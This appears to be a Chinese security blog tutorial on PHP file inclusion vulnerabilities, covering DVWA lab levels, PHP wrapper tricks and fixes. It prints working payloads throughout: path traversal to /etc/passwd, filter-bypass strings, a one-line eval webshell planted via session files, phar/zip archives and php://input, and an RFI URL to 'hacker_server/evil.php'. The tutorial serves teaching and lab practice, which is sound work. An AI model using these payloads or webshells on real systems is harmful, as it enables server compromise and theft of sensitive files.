文件包含


IP签名

文件包含漏洞

原文:

201-A10-文件包含漏洞(上) · Farmsec Open Source (fsec.io)

201-A11-文件包含漏洞(下) · Farmsec Open Source (fsec.io)

1. 漏洞产生原理:

开发者在代码中调用了外部文件,且调用的文件名受用户输入的影响,在权限控制不严谨的情况下会产生文件包含漏洞(File Inclusion)

  • 文件包含漏洞(File Inclusion)是一种最常见的依赖于脚本运行而影响 Web 应用程序的漏洞。当应用程序使用攻击者控制的变量建立一个可执行代码的路径,允许攻击者控制在运行时执行哪个文件时,就会导致文件包含漏洞。
  • 程序开发人员通常会把可重复使用的函数写入单个文件中,在使用这些函数时,程序开发人员直接调用此文件,而无需再次编写函数,这种调用文件的过程一般被称为文件包含。此外,程序开发人员都希望代码更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用。但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,导致文件包含漏洞。

1.1文件包含漏洞分类

  • 远程文件包含(RFI,Remote File Inclusion): 当 Web 应用程序下载并执行远程文件时,会导致远程文件包含,这些远程文件通常以 HTTP 或 FTP URI 的形式获取,作为Web 应用程序的用户提供的参数。
  • 本地文件包含(LFI,Local File Inclusion):本地文件包含类似于远程文件包含,本地文件包含仅能包括本地文件,即当前服务器上的文件以供执行。

远程文件包含(RFI,Remote File Inclusion)

在文件包含漏洞的利用过程中,Web 应用程序下载并调用了远程文件,称作远程文件包含

这些远程文件通常以 HTTP 或 FTP URI 的形式获取

target.xxx?file=http://hacker_server/evil.php

额外要求

要产生远程文件包含漏洞,在使用了特定函数和权限控制不严谨外,include,require等包含函数还必须可以加载远程文件

PHP的配置文件allow_url_fopenallow_url_include设置为ON

allow_url_fopen = On
//(是否允许打开远程文件)
allow_url_include = On
//(是否允许include/require远程文件)

本地文件包含(LFI,Local File Inclusion)

在文件包含漏洞的利用过程中,Web应用程序调用了本地(服务器上)的文件,称作本地文件包含

target.xxx?file=/etc/hosts

1.2文件包含漏洞的危害

  • Web 服务器的文件被外界浏览而导致信息泄漏。
    • 脚本被任意执行所造成的影响。典型的影响如下:
      • 篡改网站。
      • 作为进一步攻击的垫脚石 (和其他漏洞同时使用造成严重危害)
      • 小概率会导致命令执行
      • Web服务器的文件被外界浏览而导致信息泄漏

2. 文件包含漏洞的利用(low)

远程文件包含漏洞 打开low安全级别的文件包含页面File Inclusion。 当我们点击file1.php时,对应的URLpage的值变为file1.php,同时Web应用执行file1.php文件的源代码; 当我们点击file2.php时,对应的URLpage的值变为file2.php,同时Web应用执行file2.php文件的源代码; 当我们点击file3.php时,对应的URLpage的值变为file3.php,同时Web应用执行file3.php文件的源代码。 由此可知,当我们在目标URLpage值后添加某个存在的文件名时,Web应用程序会相应的包含此文件。同时,Web应用程序会根据其文件的内容是否符合PHP语法格式,判断执行此文件源代码还是直接显示文件源代码。

利用payload 使用payload为:../../../../../../../../../../../../../../../../etc/passwd

源码分析 点击页面右下角的View Source,即显示low安全等级的文件包含的源码:

8bb1a8d3449b01c14c6e18f67eb6e9c5.png

Web应用程序定义了一个变量page ,将用户输入的值作为page变量的值,同时将其赋值给file变量。最后,Web应用程序通过对file变量的引用来实现文件的包含功能。

从源码我们可以看到,low安全等级的Web应用程序没有对输入的page变量的值执行任何过滤措施,如果我们输入那些系统不希望用户看见任何信息的文件的文件名,并赋值给page变量。那么Web应用程序就会产生文件包含漏洞,系统的敏感信息就会被泄露。

2.1文件包含漏洞的利用(medium)

点击页面右下角的View Source,即显示medium安全等级的文件包含的源码:Web应用程序使用str_replace()函数对关键字http://https://../..\执行了过滤操作,只要用户传递给page变量的文件名中出现上述四个关键字,皆以空代替。 这样,Web应用程序保证了用户既无法使用http://http:\\来利用远程文件包含漏洞,也无法使用../..\来利用本地文件包含漏洞。

df58d2e409eb86c095a828413abac48b.png

如果我们不使用../..\这两个关键词,而是直接访问根目录下的用户信息文件/etc/passwd 。由于Web应用程序并没有对根目录/执行过滤,所以系统不能过滤我们输入的payload,那么Web应用程序将成功包含文件/etc/passwd,并直接暴露其源代码。 即我们构造的payload成功的绕过了Web应用程序的防御机制。

2.2文件包含漏洞的利用(high)

查看源码: b7efd64c8b7047833c9114dbc76942f4.png

fnmatch() 函数的作用是根据指定的模式来匹配文件名或字符串。 语法为:fnmatch(pattern,string,flags) 各个参数解释如下:

  • pattern 必需。规定要检索的模式。
  • string 必需。规定要检查的字符串或文件。
  • flags 可选。 如果用户输入的文件名不是include.php或者以file开头的文件名,那么Web应用程序直接退出。 所以high安全等级是medium安全等级的扩展,在medium安全等级的基础上,进一步加强了文件包含漏洞的防御。 对high安全等级而言,在medium安全等级的文件包含漏洞利用失败的技术皆无法在high安全等级下成功执行。

payload为:file1.php../../../../../../../../../../../../../../../../etc/passwd 我们就能成功看到系统用户敏感信息。

3.文件包含修复

修复建议 1、严格检查变量是否已经初始化。

2、对所有输入提交可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现./和../等目录跳转符。

3、严格检查文件包含函数中的参数是否外界可控。

4.PHP中文件包含函数有以下四种:

require()

require_once()

include()

include_once()

include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

1.简单利用 测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

测试结果: c1ff0b740898575e5097f88072ef362a.png

通过目录遍历漏洞可以获取到系统中其他文件的内容

5.session文件包含漏洞

利用条件:

session的存储位置可以获取。

通过phpinfo的信息可以获取到session的存储位置。

通过phpinfo的信息,获取到session.save_path为/var/lib/php/session: e4aef2aa83d5230a50565af3bcfe7c55.png

session中的内容可以被控制,传入恶意代码。 示例:

<?php
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>

漏洞分析

此php会将获取到的GET型ctfs变量的值存入到session中。

当访问http://172.16.3.186/test/ctfs.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。

session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。

所以session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6。 7e62fe54269cc946ef89441653a340f2.png

到服务器的/var/lib/php/session目录下查看果然存在此文件,内容为: d05fe1a395d6e582338278bd831c78dc.png

漏洞利用 通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。 当访问http://172.16.3.186/test/ctfs.php?ctfs=后,会在/var/lib/php/session目录下存储session的值。 b3cd1710e39e313723cb0abcb41efa78.png

攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。 http://172.16.3.186/test/incliue.php?filename=/var/lib/php/session/sess_dhbh1olup0okmbagfggm23evd4 2f6cac1e8b951db41707985dbe3833c2.png

同理写入shell [http://172.16.3.186/test/ctfs.php?ctfs=%3C?php%20@eval($_POST[123\])?%3E](http://172.16.3.186/test/ctfs.php?ctfs=) 68ae23eea056b9d1dedc97758c1c737a.png

435376ae8317efad82e29e369014fd57.png

过文件包含的漏洞解析恶意代码 http://172.16.3.186/test/incliue.php?filename=/var/lib/php/session/sess_fckfs41fifl0se62u0vq4bc0o2 a6ea658c5fb8cfc4ae9d49f67b5ecb81.png

使用cknife连接shell 81c0d3f801432d5dc854cb48dd3bec3a.png

6.远程文件包含

PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

allow_url_fopen = On(是否允许打开远程文件)

allow_url_include = On(是否允许include/require远程文件)

6.1无限制远程文件包含漏洞

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

http://172.16.3.186/test/incliue.php?filename=http://172.16.3.183/php.txt

b9462832b962001202addf6481beaf61.png 通过远程文件包含漏洞,包含php.txt可以解析。 d794208aa9dae8798ebcd7e6d12b430e.png

6.2 有限制远程文件包含漏洞绕过

测试代码:

<?php include($_GET['filename'] . ".html"); ?>

代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。 bb56813011076bfc547db51744bccfd4.png

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统 函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。

7 PHP伪协议

7.1 php:// 输入输出流

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。 php://filter(本地磁盘文件进行读取)

元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。

用法: http://172.16.3.186/test/incliue.php?filename=php://filter/read=convert.base64-encode/resource=incliue.php

条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include; ad5bbb3e25634c64a6ae43536443e92f.png 5ddeb9ae63e24f0a03771896eaf7e351.png

同理可读config.inc.php等配置文件http://172.16.3.186/test/incliue.php?filename=php://filter/read=convert.base64-encode/resource=/var/www/html/config/config.inc.php 5b2f4b4d7609a596859a574e0079adc9.png

7.2 phar://伪协议

这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。

用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。 步骤: 写一个info.php,然后用zip协议压缩为info.zip,然后将后缀改为png等其他格式,然后传入服务器。

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

http://172.16.3.186/test/incliue.php?filename=phar://../info.png/info.php f5ae12e56f1165f53e2a9329c05675fa.png 写入shell: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式,然后传入服务器。 3bf24e7d53c45ff8e12270bd94b7061e.png 利用payload http://172.16.3.186/test/incliue.php?filename=phar://shell.png/shell.php 语句包含该shell 88fa15c10bde39236cc89287471b5bef.png

使用Cknife连接该shell 写入shell: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式,然后传入服务器。 成功get shell 6c01fd5dbde0f8d5f401801878badbf7.png bb128c6e47084881484b126014fe821f.png

7.3 zip://伪协议

zip伪协议和phar协议类似,但是用法不一样。

用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php。

条件: PHP > =5.3.0,注意在windows下测试要5.3.0 =5.3.0 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。 344c4a2c0a01e912398c8faa36266917.png

同phar 即可shell d5e7891122b4f92c2c9e9c7fe547c291.png da59b4a6ab6f5511787061482d91d518.png d51a843cbac06879658153f7d7fd19ae.png

7.4 php://input

可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype=”multipart/form-data” 的时候 php://input 是无效的。

用法:?file=php://input 数据利用POST传过去。

写入木马 测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。

如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

命令执行 条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.30),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行;

<?php system(`whoami`) ?>

8.系统中的敏感路径

5、常见的敏感路径: 1 Windows C:\boot.ini //查看系统版本 C:\windows\system32\inetsrv\MetaBase.xml //IIS 配置文件 C:\windows\repair\sam //存储 windows 系统初次安装的密码 C:\Program Files\mysql\my.ini //mysql 配置 C:\Program Files\mysql\data\mysql\user.MYD //Mysql root C:\windows\php.ini //php 配置信息 C:\windows\my.ini //mysql 配置文件

2 UNIX/Linux /etc/passwd /usr/local/app/apache2/conf/httpd.conf //apache2 默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 /usr/local/app/php5/lib/php.ini //PHP 相关配置 /etc/httpd/conf/httpd.conf //apache /etc/php5/apache2/php.ini //ubuntu 系统的默认路径

日志默认路径 (1) apache+Linux 日志默认路径 /etc/httpd/logs/access_log 或者 /var/log/httpd/access_log

(2) apache+win2003 日志默认路径 D:\xampp\apache\logs\access.log D:\xampp\apache\logs\error.log

(3) IIS6.0+win2003 默认日志文件 C:\WINDOWS\system32\Logfiles

(4) IIS7.0+win2003 默认日志文件 %SystemDrive%\inetpub\logs\LogFiles

(5) nginx 日志文件 日志文件在用户安装目录 logs 目录下 以我的安装路径为例/usr/local/nginx, 那我的日志目录就是在/usr/local/nginx/logs里 web 中间件默认配置 (1) apache+linux 默认配置文件 /etc/httpd/conf/httpd.conf 或者 index.php?page=/etc/init.d/httpd (2) IIS6.0+win2003 配置文件 C:/Windows/system32/inetsrv/metabase.xml (3) IIS7.0+WIN 配置文件 C:\Windows\System32\inetsrv\config\applicationHost.config

原文链接:https://blog.csdn.net/qq_39431542/article/details/88628225

burp自带的路径 fc43e0cba7d12bd4cca3f20a4391b284.png 5c62eb5fbce0373901e221a1916cca1b.png

9.DVWA靶场实战

打开DVWA文件包含页面(File Inclusion)

我们发现,当我们点击file1.php时,对应的URL的page的值变为file1.php,同时Web应用执行file1.php文件的源代码;

http://dvwa_ip/vulnerabilities/fi/?page=file1.php

当我们点击file2.php时,对应的URL的page的值变为file2.php,同时Web应用执行file2.php文件的源代码;

http://dvwa_ip/vulnerabilities/fi/?page=file2.php

当我们点击file3.php时,对应的URL的page的值变为file3.php,同时Web应用执行file3.php文件的源代码。

http://dvwa_ip/vulnerabilities/fi/?page=file3.php

由此可知,当我们在目标URL的page值后添加某个存在的文件名时,Web应用程序会相应的包含此文件。并且会将该文件(无论后缀名)作为PHP代码执行.

low

看一下源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];
// 通过get请求把page参数的值传入file变量
?>

Web应用程序定义了一个变量page,将用户输入的值作为page变量的值,同时将其赋值给file变量。最后,Web应用程序通过对file变量的引用来实现文件的包含功能。

DVWA的low级别一般是不带有任何防护的, 没有对输入的page变量的值执行任何过滤措施,如果我们输入那些系统不希望用户看见任何信息的文件的文件名,并赋值给page变量。那么Web应用程序就会产生文件包含漏洞,系统的敏感信息就会被泄露。

payload1:本地–利用相对路径(许多个../就一定会来到根目录)

../../../../../../../../../../../../../../../../etc/passwd

payload2:本地–利用绝对路径

/etc/passwd

payload3:远程包含

由于DWVA的环境,Web应用可以包含远程文件

http://server/file

如图

medium

直接上源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];
// 依旧是通过get请求把page参数的值传入file变量
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
//将file变量中的http://和https://替换为空
$file = str_replace( array( "../", "..\\" ), "", $file );
//同理,将file变量中的../和..\\替换为空
//但是捏,它只替换了一次且只替换全小写的内容,也就意味着可以通过双写或大小写绕过
?>

payload1:本地–绝对路径

如果我们不使用../..\这两个关键词,而是直接访问根目录下的用户信息文件/etc/passwd

由于Web应用程序的过滤很不严谨,并没有对根目录/执行过滤,所以系统不能过滤我们输入的payload,那么Web应用程序将成功包含文件/etc/passwd,并直接暴露其源代码。 即我们构造的payload成功的绕过了Web应用程序的防御机制。

/etc/passwd

payload2:远程–双写绕过

hthttp://tp://server/file

payload3:远程–大小写绕过

hTtp://server/file

payload4:远程本地皆可–使用http/https外的协议

file:///etc/passwd

high

看源码= =

<?php

// The page we wish to display
// 日常通过get请求把page参数的值传入file变量
$file = $_GET[ 'page' ];

// Input validation
//如果file变量的开头不是file且file的值不为include.php
//就提示找不到文件并退出程序
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

补充一个知识点:

fnmatch() 函数的作用是根据指定的模式来匹配文件名或字符串。 语法为:fnmatch(pattern,string,flags) 各个参数解释如下:

  • pattern 必需。规定要检索的模式。

  • string 必需。规定要检查的字符串或文件。

  • flags 可选. 它是可选的参数表,用于指定标志或标志的组合.

    这些标志可以是以下标志的组合:

    • FNM_PATHNAME:用于指定字符串中的斜线仅匹配给定模式中的斜线。
    • FNM_NOESCAPE:用于禁用反斜杠转义。
    • FNM_CASEFOLD:用于无 shell 匹配。
    • FNM_PERIOD:用于指定字符串中的前导期间必须与给定模式中的期间完全匹配。

high模式中进行了更为安全的白名单过滤,因此现在包含的东西必须要以file开头了

payload1:file协议正合我意

file:///etc/passwd

补充: PHP中文件包含函数

PHP中文件包含函数有以下四种

require()
require_once()
include()
include_once()

includerequire区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

include_once()require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,从而确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

测试代码

<?php
    $filename  = $_GET['filename'];
    //可以将include换成其他函数测试
    include($filename);
?>

演示


payload2:利用PHP可以包含多个文件的feature

由上文可推断出,如果程序员在包含的时候用的include,前面那个file开头的文件存不存在都无所谓

file[任何内容]../../../../../../../../../../../../../../../../etc/passwd

如果程序员在包含的时候用的require话,前面那个file开头的文件就必须存在!

file[补全一个存在的文件名]../../../../../../../../../../../../../../../../etc/passwd

10.修复

修复建议

  • 严格检查变量是否已经初始化。
  • 对所有输入提交可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现./和../等目录跳转符。
  • 严格检查文件包含函数中的参数是否外界可控。

文章作者: 吗喽の小屋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 吗喽の小屋 !
  目录